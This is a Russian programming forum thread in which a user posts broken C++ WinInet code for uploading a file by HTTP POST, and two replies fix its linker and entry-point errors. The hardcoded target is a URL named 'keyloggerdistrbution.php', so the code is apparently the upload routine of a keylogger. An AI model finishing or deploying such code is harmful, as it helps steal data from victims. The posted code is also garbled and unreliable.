Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 15.07.2016, 19:30   #1
ponchic
Пользователь
 
Регистрация: 23.08.2015
Сообщений: 34
По умолчанию Отправка файла через http post

Вот наклёпал код, вроде бы всё нормально... но
Код:
 #define WIN32_LEAN_AND_MEAN
#include "stdafx.h"
#include <windows.h>
#include <windowsx.h>
#include <commctrl.h>
#include <string.h>
#include <winsock.h>
 
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <wininet.h>
 #pragma comment(lib, "Ws2_32.lib")
#define PORT            80
#define CLNT_PORT 1235

 
 
#define BUF_SIZE            4096
 
char sBuf[BUF_SIZE],Buf[BUF_SIZE];
 
char data[BUF_SIZE];
 
char * GetPageUrl(char * strurl) {

	strcpy(data,"POST https://");<br />
	strcpy(data, stru...strcpy(data, " HTTP/1.1\r\n");

//strcat(data,"User-Agent: Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1\r\n");
strcat(data,"Host: ");
strcat(data,strurl);
 
//strcpy(data,"Referer: http://127.0.0.1/1.php\r\n");
//strcpy(data,"\r\nAccept: application/mixed, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n");
 
strcat(data,"\r\nCookie:income=1\r\n");
//strcat(data,"Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n");
strcat(data,"Accept-Encoding: gzip, deflate\r\n");
strcat(data,"Connection: Keep-Alive\r\n");
strcat(data,"Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\n");
strcat(data,"Content-Length: ");
strcat(data,"280");
strcat(data,"\r\n\r\n");
 
strcat(data,"--1BEF0A57BE110FD467A\r\n");
strcat(data,"Content-Disposition: form-data; name="news_header"\r\n\r\n");
strcat(data,"Пример ноnости\r\n");
strcat(data,"--1BEF0A57BE110FD467A\r\n");
strcat(data,"Content-Type: application/octet-stream\r\n");
strcat(data,"Content-Transfer-Encoding: binary\r\n");
strcat(data,"Content-Disposition: form-data; name="file"; filename="asd"\r\n\r\n");
strcat(data,"txt");
strcat(data,"--1BEF0A57BE110FD467A--");


	HINTERNET hSession = InternetOpen((LPCSTR)data, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );
	if (hConnect == NULL)
		return "0";
	// получить размер заголовка
	DWORD  dwInfoLen = 0;
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);

	// прочитать заголовок
	char* sHeadInfo = new char[dwInfoLen];
	HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);

	// размер файла в байтах
	DWORD dwFileSize =  atoi(sHeadInfo);
	delete [] sHeadInfo;

	// буфер
	BYTE * pFileBuf = new BYTE[dwFileSize];
	BYTE * pBufScan =  pFileBuf;
	//printf("file size: %d\n", dwFileSize);

	// читать
	DWORD dwAval, dwRead;
	while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
	{
		if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
			break;
		if (!dwRead) 
			break;
		pBufScan += dwRead;

		//----
		char e[32];
		//sprintf(e, "read bytes: %d \n",  pBufScan - pFileBuf);
		OutputDebugString(e);
	}


	InternetCloseHandle(hConnect); 
	InternetCloseHandle(hSession); 

	return (char *)pFileBuf;

}
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
 
GetPageUrl("http://v929a1.bget.ru/keyloggerdistrbution.php");
 
return 0;
}
Но вот лог ошибок
Код:
1>------ Построение начато: проект: SendFile, Конфигурация: Release Win32 ------
1>  stdafx.cpp
1>  SendFile.cpp
1>SendFile.cpp(1): warning C4603: WIN32_LEAN_AND_MEAN: макрос не определен или определение изменилось после использования предкомпилированного заголовка
1>          Добавление макроопределения в предкомпилированный заголовок вместо определения его здесь
1>          SendFile.cpp(2): использование предкомпилированного заголовка
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetOpenA@20"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetOpenUrlA@24"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__HttpQueryInfoA@20"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetQueryDataAvailable@16"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetReadFile@16"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetCloseHandle@4"
1>MSVCRT.lib(crtexe.obj) : error LNK2001: неразрешенный внешний символ "_main"
1>C:\Users\kek\Documents\VS2012\Projects\SendFile\Release\SendFile.exe : fatal error LNK1120: неразрешенных внешних элементов: 7
========== Построение: успешно: 0, с ошибками: 1, без изменений: 0, пропущено: 0 ==========
vs 2012
https://yadi.sk/d/p7QzPoGdtLQBx
Уже 3-й день мучаюсь, надеюсь на адекватную помощь. Также можно предоставить нормальную функцию для отправки которая должно-быдь завалялась у вас с 2007
ponchic вне форума Ответить с цитированием
Старый 15.07.2016, 19:46   #2
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

А зачем мучаетесь-то? Не проще библиотеку взять?
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.
Alex11223 вне форума Ответить с цитированием
Старый 15.07.2016, 19:54   #3
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,695
По умолчанию

1.
Цитата:
#define WIN32_LEAN_AND_MEAN
В предкомпиленный заголовок, хотя он там скорее всего итак есть

2. Не подключили либу Wininet.lib
3.
Цитата:
error LNK2001: неразрешенный внешний символ "_main"
Создали консольный проект, а точка входа винмейн, как для оконного
p51x вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Отправка GET и POST запроса через сокеты php Arsenx777 PHP 15 29.04.2012 09:18
Отправка файла POST запросом darkblood0202 C++ Builder 2 28.04.2012 13:34
Отправка файла на HTTP сервер POST запросом на WinSock Vladimirok Работа с сетью в Delphi 2 14.04.2012 06:26
Отправка всего <select> через POST Dexes PHP 5 30.01.2012 13:32
Отправка POST запроса через Delphi 2010KOHTEP Общие вопросы Delphi 1 26.05.2011 00:02